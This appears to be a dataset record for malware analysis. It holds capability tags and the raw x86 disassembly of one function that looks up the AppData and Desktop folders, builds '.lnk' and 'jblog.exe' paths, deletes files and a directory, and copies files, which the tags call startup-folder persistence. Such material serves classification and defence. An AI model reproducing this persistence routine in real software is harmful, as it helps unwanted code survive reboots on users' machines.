Function at 0x409130
Capabilities:
Copy file
Delete directory
Delete file
Get common file path
Get startup folder
Persist via lnk shortcut
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417e2e
mov eax, dword fs:[0]
push eax
sub esp, 0x53c
mov eax, dword [0x41d00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x21c]
push 0
push 0x1a
push eax
push 0
call esi
xor eax, eax
mov dword [ebp - 0x478], 0
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 7
lea edx, [ecx + 2]
mov word [ebp - 0x478], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4091a6
sub ecx, edx
lea eax, [ebp - 0x21c]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x478]
call fcn.0040a780
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x464]
mov eax, ecx
mov edi, dword [ebp - 0x468]
sub eax, edi
cmp eax, 6
jb 0x40921f
cmp ecx, 8
lea esi, [ebp - 0x478]
lea eax, [edi + 6]
cmovae esi, dword [ebp - 0x478]
push 0xc
mov dword [ebp - 0x468], eax
push str.Appie
lea eax, [esi + edi*2]
push eax
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
xor eax, eax
mov word [esi + edi*2 + 0xc], ax
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
jmp 0x409240
push 6
push str.Appie
mov byte [ebp - 0x4fc], 0
lea ecx, [ebp - 0x478]
push dword [ebp - 0x4fc]
push 6
call fcn.0040c240
sub esp, 0x18
lea eax, [ebp - 0x478]
mov ecx, esp
push eax
call fcn.0040a130
lea ecx, [ebp - 0x43c]
call fcn.00408cd0
add esp, 0x18
mov byte [ebp - 4], 1
mov eax, 0x7fffffff
mov ecx, dword [ebp - 0x42c]
sub eax, ecx
cmp eax, 6
jb 0x409a7e
cmp dword [ebp - 0x428], 0x10
lea eax, [ebp - 0x43c]
push 6
cmovae eax, dword [ebp - 0x43c]
push str..lnk
push ecx
push eax
push ecx
push dword [ebp - 0x4f4]
lea ecx, [ebp - 0x4f0]
call fcn.0040d610
push 0
push 0x10
lea eax, [ebp - 0x424]
mov byte [ebp - 4], 2
push eax
push 0
call esi
xor eax, eax
mov dword [ebp - 0x4c0], 0
lea ecx, [ebp - 0x424]
mov dword [ebp - 0x4b0], 0
mov dword [ebp - 0x4ac], 7
lea edx, [ecx + 2]
mov word [ebp - 0x4c0], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4092f0
sub ecx, edx
lea eax, [ebp - 0x424]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x4c0]
call fcn.0040a780
sub esp, 0x18
mov byte [ebp - 4], 3
lea eax, [ebp - 0x4c0]
mov ecx, esp
push eax
call fcn.0040a130
lea ecx, [ebp - 0x460]
call fcn.00408cd0
mov byte [ebp - 4], 4
lea edx, [ebp - 0x460]
cmp dword [ebp - 0x44c], 0x10
push dword [ebp - 0x450]
cmovae edx, dword [ebp - 0x460]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040e220
add esp, 0x1c
mov ecx, eax
push 0x40b920
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 5
sub esp, 0x18
mov edx, dword [ebp - 0x42c]
mov eax, 0x7fffffff
sub eax, edx
mov ecx, esp
mov dword [ebp - 0x4f4], ecx
cmp eax, 0xa
jb 0x409a83
cmp dword [ebp - 0x428], 0x10
lea eax, [ebp - 0x43c]
push 0xa
cmovae eax, dword [ebp - 0x43c]
push str.jblog.exe
push edx
push eax
push ecx
push dword [ebp - 0x4f4]
call fcn.0040d610
lea ecx, [ebp - 0x4d8]
call fcn.00408ef0
add esp, 0x18
cmp dword [eax + 0x14], 8
jb 0x4093cf
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x4c4]
cmp ecx, 8
jb 0x409418
mov edx, dword [ebp - 0x4d8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40940e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40940e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00416761
add esp, 8
cmp dword [ebp - 0x428], 0x10
lea eax, [ebp - 0x43c]
cmovae eax, dword [ebp - 0x43c]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push ecx
lea edx, [ebp - 0x4f0]
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x448]
call fcn.00407e60
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x448]
mov esi, ecx
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x4f4], eax
nop dword [eax]
cmp esi, eax
je 0x409881
push ecx
lea eax, [ebp - 0x514]
mov ecx, esi
push eax
call fcn.0040adb0
cmp dword [ebp - 0x500], 0x10
lea edx, [ebp - 0x514]
mov edi, dword [ebp - 0x514]
mov eax, dword [ebp - 0x504]
setae byte [ebp - 0x4f5]
cmovae edx, edi
test eax, eax
je 0x4094d4
or ecx, 0xffffffff
dec eax
cmp eax, ecx
cmovb ecx, eax
add ecx, edx
cmp byte [ecx], 0x5c
je 0x4094ca
nop
cmp ecx, edx
je 0x4094d4
dec ecx
cmp byte [ecx], 0x5c
jne 0x4094c0
sub ecx, edx
jmp 0x4094d7
or ecx, 0xffffffff
inc ecx
cmp byte [ebp - 0x4f5], 0
mov dword [ebp - 0x4fc], ecx
je 0x409516
mov ecx, dword [ebp - 0x500]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x40950c
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409408
push ecx
push edi
call fcn.00416761
add esp, 8
push ecx
lea eax, [ebp - 0x52c]
mov ecx, esi
push eax
call fcn.0040adb0
push ecx
lea eax, [ebp - 0x544]
mov byte [ebp - 4], 0xa
push eax
mov ecx, esi
call fcn.0040adb0
mov edx, dword [ebp - 0x4fc]
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x534]
mov eax, dword [ebp - 0x51c]
sub ecx, edx
mov dword [ebp - 0x4a8], 0
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0xf
mov byte [ebp - 0x4a8], 0
cmp eax, edx
jb 0x409a88
sub eax, edx
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x518], 0x10
lea eax, [ebp - 0x52c]
cmovae eax, dword [ebp - 0x52c]
push ecx
add eax, edx
lea ecx, [ebp - 0x4a8]
push eax
call fcn.0040aac0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x530]
cmp ecx, 0x10
jb 0x4095e5
mov edx, dword [ebp - 0x544]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4095db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409408
push ecx
push edx
call fcn.00416761
add esp, 8
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x530], 0xf
mov byte [ebp - 0x544], 0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x518]
cmp ecx, 0x10
jb 0x40963e
mov edx, dword [ebp - 0x52c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409634
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409408
push ecx
push edx
call fcn.00416761
add esp, 8
mov ecx, dword [ebp - 0x450]
mov eax, 0x7fffffff
sub eax, ecx
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x518], 0xf
mov byte [ebp - 0x52c], 0
cmp eax, 1
jb 0x409a7e
cmp dword [ebp - 0x44c], 0x10
lea eax, [ebp - 0x460]
push 1
cmovae eax, dword [ebp - 0x460]
push 0x4195a8
push ecx
push eax
push ecx
push dword [ebp - 0x4f4]
lea ecx, [ebp - 0x514]
call fcn.0040d610
lea eax, [ebp - 0x4a8]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x514]
call fcn.0040a420
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4d8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4c8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x500]
cmp ecx, 0x10
jb 0x40971a
mov edx, dword [ebp - 0x514]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409710
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409408
push ecx
push edx
call fcn.00416761
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x504], 0
lea eax, [ebp - 0x4d8]
mov dword [ebp - 0x500], 0xf
mov ecx, esp
mov byte [ebp - 0x514], 0
push eax
call fcn.0040a600
lea ecx, [ebp - 0x490]
call fcn.00408ef0
add esp, 0x18
lea ecx, [ebp - 0x490]
cmp dword [ebp - 0x47c], 8
mov eax, esi
cmovae ecx, dword [ebp - 0x490]
cmp dword [esi + 0x14], 8
jb 0x409772
mov eax, dword [esi]
push 1
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x409786
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 4], 0x11
mov ecx, dword [ebp - 0x47c]
cmp ecx, 8
jb 0x4097d4
mov edx, dword [ebp - 0x490]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4097ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409408
push ecx
push edx
call fcn.00416761
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 7
mov word [ebp - 0x490], ax
cmp ecx, 0x10
jb 0x40982f
mov edx, dword [ebp - 0x4d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409825
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409408
push ecx
push edx
call fcn.00416761
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x494]
cmp ecx, 0x10
jb 0x40986d
mov edx, dword [ebp - 0x4a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409863
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409408
push ecx
push edx
call fcn.00416761
add esp, 8
mov ecx, dword [ebp - 0x448]
add esi, 0x18
mov eax, dword [ebp - 0x4f4]
jmp 0x409470
test ecx, ecx
je 0x4098e3
mov edx, dword [ebp - 0x444]
push ecx
call fcn.0040c4d0
mov ecx, dword [ebp - 0x440]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x448]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x4098d9
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4098d9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.00416761
add esp, 8
mov ecx, dword [ebp - 0x44c]
cmp ecx, 0x10
jb 0x40991d
mov edx, dword [ebp - 0x460]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409913
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409a50
push ecx
push edx
call fcn.00416761
add esp, 8
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x44c], 0xf
mov byte [ebp - 0x460], 0
cmp ecx, 8
jb 0x409978
mov edx, dword [ebp - 0x4c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40996e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409a50
push ecx
push edx
call fcn.00416761
add esp, 8
mov ecx, dword [ebp - 0x4dc]
cmp ecx, 0x10
jb 0x4099b2
mov edx, dword [ebp - 0x4f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4099a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409a50
push ecx
push edx
call fcn.00416761
add esp, 8
mov ecx, dword [ebp - 0x428]
mov dword [ebp - 0x4e0], 0
mov dword [ebp - 0x4dc], 0xf
mov byte [ebp - 0x4f0], 0
cmp ecx, 0x10
jb 0x409a03
mov edx, dword [ebp - 0x43c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4099f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409a50
push ecx
push edx
call fcn.00416761
add esp, 8
mov ecx, dword [ebp - 0x464]
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x428], 0xf
mov byte [ebp - 0x43c], 0
cmp ecx, 8
jb 0x409a60
mov edx, dword [ebp - 0x478]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x409a56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x409a56
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00416761
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004161af
mov esp, ebp
pop ebp
ret
call fcn.00401170
call fcn.00401170
call fcn.0040aca0
int3